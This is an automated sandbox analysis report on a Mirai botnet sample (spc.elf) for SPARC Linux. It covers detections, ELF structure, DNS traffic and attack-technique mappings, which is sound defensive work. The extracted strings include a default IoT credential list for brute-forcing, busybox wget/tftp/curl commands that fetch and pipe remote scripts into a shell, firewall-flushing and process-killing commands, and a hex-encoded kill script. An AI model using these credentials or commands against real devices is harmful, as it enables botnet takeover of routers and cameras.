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Linux Analysis Report
spc.elf

Overview

General Information

Sample name:spc.elf
Analysis ID:1584561
MD5:9d086b4b67b59535e48100325e5351b7
SHA1:28d3cd4d124e388ad76fe60677e853f3cf4c6634
SHA256:df92eb5a6c9015265e275a457bfce188ee8bda293eee14ab0282acae0c93d179
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1584561
Start date and time:2025-01-05 21:07:05 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 16s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:spc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
  • VT rate limit hit for: spc.elf
Command:/tmp/spc.elf
PID:5404
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • spc.elf (PID: 5404, Parent: 5330, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/spc.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
spc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5404.1.00007fa620011000.00007fa62002b000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: spc.elfReversingLabs: Detection: 31%
      Source: spc.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpf .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
      Source: /tmp/spc.elf (PID: 5404)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: spc.elfString found in binary or memory: http:///curl.sh
      Source: spc.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: (191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.19
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpf .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///cu
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/spc.elf (PID: 5404)Queries kernel information via 'uname': Jump to behavior
      Source: spc.elf, 5404.1.0000555e3b031000.0000555e3b0b7000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sparc
      Source: spc.elf, 5404.1.0000555e3b031000.0000555e3b0b7000.rw-.sdmpBinary or memory string: ;^U!/etc/qemu-binfmt/sparc
      Source: spc.elf, 5404.1.00007ffcf5cd3000.00007ffcf5cf4000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.elf
      Source: spc.elf, 5404.1.00007ffcf5cd3000.00007ffcf5cf4000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sparc

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: spc.elf, type: SAMPLE
      Source: Yara matchFile source: 5404.1.00007fa620011000.00007fa62002b000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: spc.elf, type: SAMPLE
      Source: Yara matchFile source: 5404.1.00007fa620011000.00007fa62002b000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      SourceDetectionScannerLabelLink
      spc.elf32%ReversingLabsLinux.Trojan.Mirai
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.24
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shspc.elffalse
          high
          http:///curl.shspc.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.commips.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            arm5.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            arm6.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            Fantazy.arm6.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            Fantazy.x86.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            Fantazy.arm5.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            103.6.170.65-boatnet.m68k-2025-01-05T14_12_44.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            Fantazy.sh4.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            Fantazy.i486.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            momo.arm5.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.068050382434519
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:spc.elf
            File size:105'112 bytes
            MD5:9d086b4b67b59535e48100325e5351b7
            SHA1:28d3cd4d124e388ad76fe60677e853f3cf4c6634
            SHA256:df92eb5a6c9015265e275a457bfce188ee8bda293eee14ab0282acae0c93d179
            SHA512:a87edf8eeb6e669d37ed6529c3e74a43cf2b7981118a780c5d7e36307498986f21640e6f1bded5f0375d93f024afcd3baae44de419705a337f1ee06aeeccd5b6
            SSDEEP:1536:vhLJa08TxkDJy7PQfzn4Py9bjQY+8D4YVL/Nlo6eetDRgJ55S0tXHBsDaz:vhaq9GLexShSIHtz
            TLSH:0EA35A2276752A1BC4C8547B21F34732F3F1334A25E8DA1BBE722E8DBB6451036276B5
            File Content Preview:.ELF...........................4.........4. ...(.......................(...(...............,...,...,......g.........dt.Q................................@..(....@.T<................#.....`...`.....!..... D..@.....".........`......$ D.. D..@...........`....

            ELF header

            Class:ELF32
            Data:2's complement, big endian
            Version:1 (current)
            Machine:Sparc
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x101a4
            Flags:0x0
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:104712
            Section Header Size:40
            Number of Section Headers:10
            Header String Table Index:9
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x100940x940x1c0x00x6AX004
            .textPROGBITS0x100b00xb00x151280x00x6AX004
            .finiPROGBITS0x251d80x151d80x140x00x6AX004
            .rodataPROGBITS0x251f00x151f00x42380x00x2A008
            .ctorsPROGBITS0x3942c0x1942c0x80x00x3WA004
            .dtorsPROGBITS0x394340x194340x80x00x3WA004
            .dataPROGBITS0x394400x194400x4880x00x3WA008
            .bssNOBITS0x398c80x198c80x62f80x00x3WA008
            .shstrtabSTRTAB0x00x198c80x3e0x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x100000x100000x194280x194286.09250x5R E0x10000.init .text .fini .rodata
            LOAD0x1942c0x3942c0x3942c0x49c0x67943.40050x6RW 0x10000.ctors .dtors .data .bss
            GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
            TimestampSource PortDest PortSource IPDest IP
            Jan 5, 2025 21:07:49.408292055 CET5378853192.168.2.138.8.8.8
            Jan 5, 2025 21:07:49.408349037 CET5866053192.168.2.138.8.8.8
            Jan 5, 2025 21:07:49.414696932 CET53586608.8.8.8192.168.2.13
            Jan 5, 2025 21:07:49.414926052 CET53537888.8.8.8192.168.2.13
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 5, 2025 21:07:49.408292055 CET192.168.2.138.8.8.80x8c0fStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 5, 2025 21:07:49.408349037 CET192.168.2.138.8.8.80x4029Standard query (0)daisy.ubuntu.com28IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 5, 2025 21:07:49.414926052 CET8.8.8.8192.168.2.130x8c0fNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
            Jan 5, 2025 21:07:49.414926052 CET8.8.8.8192.168.2.130x8c0fNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

            System Behavior

            Start time (UTC):20:07:46
            Start date (UTC):05/01/2025
            Path:/tmp/spc.elf
            Arguments:/tmp/spc.elf
            File size:4379400 bytes
            MD5 hash:7dc1c0e23cd5e102bb12e5c29403410e